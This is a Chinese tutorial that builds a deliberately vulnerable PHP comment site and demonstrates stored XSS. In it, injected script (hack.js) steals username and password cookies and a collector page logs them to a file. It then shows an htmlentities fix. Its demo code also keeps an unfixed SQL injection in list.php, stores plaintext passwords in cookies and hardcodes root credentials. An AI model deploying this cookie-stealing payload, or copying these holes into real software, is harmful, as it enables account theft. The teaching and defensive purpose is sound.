原理:惡意Web用戶將代碼植入到提供給其它用戶使用的頁面中,如果程序沒有經過過濾或者過濾敏感字符不嚴密就直接輸出或者寫入數據庫。合法用戶在訪問這些頁面的時候,程序將數據庫里面的信息輸出,這些惡意代碼就會被執行。
大概流程是,建立一個用於發表評論的網頁,然后XSS攻擊者通過XSS漏洞進行攻擊獲取其他訪問該網頁的用戶的cookie信息並記錄到攻擊者設定的文件中。
首先,我們得先配置好PHP的運行環境,這個網上有一大堆資料和軟件可以下載,我這里安裝的是wampserver,同時為了方便操作安裝了MySQL workbench。
接着,搭建數據庫,用於儲存用戶的評論
create database test; use test; create table comments ( id int(16) AUTO_INCREMENT, uname varchar(1600), ucomment varchar(2000), primary key(id) );
用戶登錄界面login.php:
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>登錄</title>
<style type="text/css">
#login{text-align:center;margin-top:100px;}
</style>
</head>
<?php
if(isset($_POST['submit'])){
//設置cookie
setcookie("username", $_POST["username"],time()+3600*24);
setcookie("password", $_POST["password"],time()+3600*24);
echo "<meta http-equiv=refresh content='0;url=home.php'>";//跳轉到home.php
}
?>
<body>
<div id="login">
<form method="post">
<p>用戶名: <input type="text" name="username" ></p>
<p> 密碼: <input type="text" name="password"></p>
<button type="submit" name="submit" style="width:60px;height:30px;">登錄</button>
</form>
</div>
</body>
</html>
用戶評論界面home.php:
<html>
<head>
</head>
<style type="text/css">
.comment-title{
font-size:14px;
margin: 6px 0px 2px 4px;
}
.comment-body{
font-size: 14px;
color:#ccc;
font-style: italic;
border-bottom: 1px #ccc;
margin: 4px;
}
</style>
<body>
<form method="post" action="list.php">
<div style="margin:20px;">
<div style="font-size:16px;font-weight:bold;">發表評論</div>
<div style="padding:6px;">
昵稱:
<br/>
<input name="name" type="text" style="width:300px;"/>
</div>
<div style="padding:6px;">
評論:
<br/>
<textarea name="comment" style="height:100px; width:300px;"></textarea>
</div>
<div style="padding-left:230px;">
<input type="submit" value="POST" style="padding:4px 0px; width:80px;"/>
</div>
<div style="border-bottom:solid 1px #fff;margin-top:10px;">
<div style="font-size:16px;font-weight:bold;">評論集</div>
</div>
<?php
try {
$dbh = new PDO('mysql:dbname=test;host=127.0.0.1','root', '123456');//連接數據庫
$dbh->query('set names gbk');
$sql="SELECT uname,ucomment FROM comments";
foreach ($dbh->query($sql) as $row) //通過循環讀取數據內容
{
if($row['uname']!=null){
?><span>-------------------------------------------------------</span><br/>
<span name="name" style="font-size:15px;color:blue;"><?php echo $row['uname'];?></span><br/>
<span name="comment" >
<?php echo $row['ucomment'];?></span><br/>
<?php
}
}
} catch (PDOException $e) {
echo 'Connection failed: ' . $e->getMessage();
}
?>
</div>
</form>
</body>
</html>
提交評論至數據庫中list.php:
<?php $link = mysql_connect('localhost','root','123456'); //連接數據庫 mysql_query('set names gbk'); if (!$link) { die('Could not connect to MySQL: ' . mysql_error()); } echo 'Connection OK'; $name = $_POST["name"]; $comment = $_POST["comment"]; mysql_select_db('test',$link); $query="insert into comments(uname,ucomment) values ('{$name}','{$comment}');"; if (!mysql_query($query,$link)) { die('Error: ' . mysql_error()); } $result=mysql_query("SELECT uname,ucomment FROM comments"); while($row=mysql_fetch_array($result))//通過循環展示數據內容 { echo $row["uname"] . "<br/>"; echo $row["ucomment"] . "<br/>"; } mysql_close($link); //關閉數據庫連接 echo "<meta http-equiv=refresh content='0;url=home.php'>";//返回home.php ?>
攻擊者所用的腳本攻擊hack.js:
var username = getCookie('username'); var password = getCookie('password'); var script = document.createElement('script'); script.src = 'http://localhost/test/index.php?username=' + username + '&password=' + password; //保存數據的頁面的位置 document.body.appendChild(script); function getCookie(name) { var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)"); if(arr=document.cookie.match(reg)) return unescape(arr[2]); return null; }
hack.js傳送數據到index.php
<?php if(!empty($_GET['password'])){ $username=$_GET['username']; $password=$_GET['password']; try{ $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt'; $fp=fopen($path,'a'); flock($fp, LOCK_EX); fwrite($fp, "$username\t $password\r\n"); flock($fp, LOCK_UN); fclose($fp); }catch(Exception $e){ } } ?>
然后攻擊者先登錄該評論頁面,然后發表包含如下語句的評論:
<script type="text/javascript" src="http://localhost/test/hack.js"></script>
則當其他用戶瀏覽該評論頁面時,這段惡意腳本就會執行,從而執行hack.js的代碼將用戶的cookie發送給index.php從而被保存到攻擊者的文件中。
如何防止這種攻擊呢?
上述XSS攻擊的核心是利用了腳本注入,對用戶的輸入沒有做出檢查,信賴用戶輸入,因此如果我們不信賴用戶輸入,對特殊字符如”<”,”>”轉義,就可以從根本上防止這一問題。更簡單一點說,不要直接echo輸出,換成用PHP的htmlentities函數將所有的評論不是以嵌入HTML的形式,而是以純文本直接展示在頁面中,這樣無論如何都可以確保不會修改到HTML的DOM元素,而導致惡意代碼的嵌入。
修改后的代碼如下:
<html>
<head>
</head>
<style type="text/css">
.comment-title{
font-size:14px;
margin: 6px 0px 2px 4px;
}
.comment-body{
font-size: 14px;
color:#ccc;
font-style: italic;
border-bottom: 1px #ccc;
margin: 4px;
}
</style>
<?php
function ReplaceScript(&$txt)
{
$str="' <script[^>]*?>.*?</script>'si ";
print $txt=preg_replace("$str","",$txt);
}
?>
<body>
<form method="post" action="list.php">
<div style="margin:20px;">
<div style="font-size:16px;font-weight:bold;">發表評論</div>
<div style="padding:6px;">
昵稱:
<br/>
<input name="name" type="text" style="width:300px;"/>
</div>
<div style="padding:6px;">
評論:
<br/>
<textarea name="comment" style="height:100px; width:300px;"></textarea>
</div>
<div style="padding-left:230px;">
<input type="submit" value="POST" style="padding:4px 0px; width:80px;"/>
</div>
<div style="border-bottom:solid 1px #fff;margin-top:10px;">
<div style="font-size:16px;font-weight:bold;">評論集</div>
</div>
<?php
try {
$dbh = new PDO('mysql:dbname=test;host=127.0.0.1','root', '123456');
$dbh->query('set names gbk');
$sql="SELECT uname,ucomment FROM comments";
foreach ($dbh->query($sql) as $row) //通過循環讀取數據內容
{
if($row['uname']!=null){
?><span>-------------------------------------------------------</span><br/>
<span name="name" style="font-size:15px;color:blue;"><?php echo htmlentities($row['uname'],ENT_QUOTES,"GB2312");?></span><br/>
<span name="comment" >
<?php $new = htmlentities($row['ucomment'],ENT_QUOTES,"GB2312");echo $new;?></span><br/>
<?php
}
}
} catch (PDOException $e) {
echo 'Connection failed: ' . $e->getMessage();
}
?>
</div>
</form>
</body>
</html>
